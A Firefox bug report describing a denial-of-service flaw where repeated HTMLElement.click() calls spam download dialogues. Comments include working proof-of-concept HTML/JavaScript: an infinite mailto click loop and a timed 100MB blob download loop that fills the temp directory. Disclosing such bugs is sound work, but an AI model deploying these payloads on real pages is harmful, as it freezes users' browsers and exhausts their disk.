Open
Bug 1229873
Opened 9 years ago
Updated 2 years ago
HTMLElement.click() spam download dialogue (DoS)
Categories
(Firefox :: Downloads Panel, defect)
Tracking
()
NEW
People
(Reporter: qab, Unassigned)
Details
Attachments
(1 file)
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(deleted),
text/html
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Details |
User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Steps to reproduce:
http://jsfiddle.net/6qdogb1p/
Actual results:
Download dialogues are spammed indefinitely (or until memory runs our ofc)
Expected results:
Some sort of protection to limit download requests to ~5 attempts
Or just fix the .click() function to not be spammed multiple times
tested on FF v42.0 on windows 8.1
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Comment 1•9 years ago
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Confirmed
20151029151421
Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:42.0) Gecko/20100101 Firefox/42.0
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Comment 2•9 years ago
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Setting to New - Firefox: Download Panel - while I don't think this is the root cause, it is a start to have someone assist me in correctly setting the Product/Component.
Thanks,
Michelle
Status: UNCONFIRMED → NEW
Component: Untriaged → Downloads Panel
Ever confirmed: true
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Reporter | |
Comment 3•9 years ago
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P.S. this bug could be used to spam default mail program, might lead to some ugliness.
PoC
<a href='mailto:@qab' id='q'>q</a>
<script>
while(true){q.click()};
</script>
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Comment 4•3 years ago
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I noticed the same and wanted to append that this can also be used to fill up the temp directory (e.g. with a 100MB blob), because the download starts before confirmation:
<!DOCTYPE html>
<html>
<body>
<a download="im-a-file.txt" href='#' id="link">Download</a>
<div id="counter">0</div>
<script>
value = "-".repeat(1024 * 1024)
let blob = new Blob(Array(100).fill(value), { type: 'text/plain' });
let link = document.getElementById('link');
link.href = URL.createObjectURL(blob);
window.setInterval(function () {
link.click();
document.getElementById("counter").textContent++;
}, 100)
</script>
</body>
</html>
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Comment 5•3 years ago
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Updated•2 years ago
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Severity: normal → S3
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Description
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